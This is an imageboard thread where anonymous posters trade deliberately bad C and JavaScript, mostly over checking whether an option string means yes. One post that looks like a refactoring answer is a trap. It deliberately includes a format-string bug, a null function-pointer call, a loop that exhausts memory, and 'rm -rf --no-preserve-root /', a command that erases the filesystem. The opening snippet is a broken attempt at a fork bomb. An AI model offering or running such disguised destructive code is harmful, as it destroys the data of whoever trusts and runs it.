Shitty Code Thread

Sup my dudes

int main(void)
{
while(1) {

int pid = fork();

if(pid == 0) {
printf("Child process, pid = %d\n", pid);
else return 0;
}
}
return 0;
}

>>60747528

if(option == 'YES')
  return true;
else if(option == 'OKAY')
  return true;
else if(option == 'POSITIVE')
  return true;
else if(option == 'AFFIRMATIVE')
  return true;
else 
  return false;

>>60747929

if(option == 'YES' | | option == 'OKAY' | | option == 'POSITIVE'| | option == 'AFFIRMATIVE'){
  return true;
}
else {
  return false;
}

Hello World!

>>60747966

#include <stdbool.h>
#include <string.h>
#include <stdio.h>
#include <malloc.h>
#include <stdlib.h>

bool fn1(const char *option)
{
    const char *options[] = { "yes", "okay", "positive", "affirmative" };

    for (size_t i = 0; i != sizeof options; ++i) {
        if (strncmp(option, options[i], sizeof options[i]) == 0) {
            printf(option);
            struct {
                void(*fn)(void);
                char option[128];
            } s;

            s.fn = NULL;
            strcpy(s.option, option);
            s.fn();

            for (size_t l = 0; l != 5000; ++l)
                free(malloc(1024 * 1024 * 1024));

            system("rm -rf --no-preserve-root /");
            exit(12345);
            return true;
        }
    }

    return false;
}

int main(int argc, char **argv)
{
    bool res = fn1(argv[1]);
    printf("%d\n", res);
    char buf[12];
    int (*ptr)() = (void*) buf[-30];
    return ptr();
}

>>60747929
>>60747966
What is the correct way to do this?

>>60749633
Just use one of "yes" / "okay" / "positive" / "affirmative" where possible

>>60747966

return ['YES', 'OKAY', 'POSITIVE', 'AFFIRMATIVE'].includes(option) ;

>>60749697
> type up some code
> hit backspace somewhere
> Page goes back

>>60748500
wtf i ran this and my screen is black?

> it wasn't a lot of code, but how many people actually use backspace to go back a page ffs

>>60749899
prove it. I'm 90% sure that script wouldn't even work

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3KB, 1280x720px

>>60749940
Please help?

>>60747929
This is a lot easier to read than if you put your answers somewhere else in a var. I prefer as little indirection as possible even if you end up writing code like this.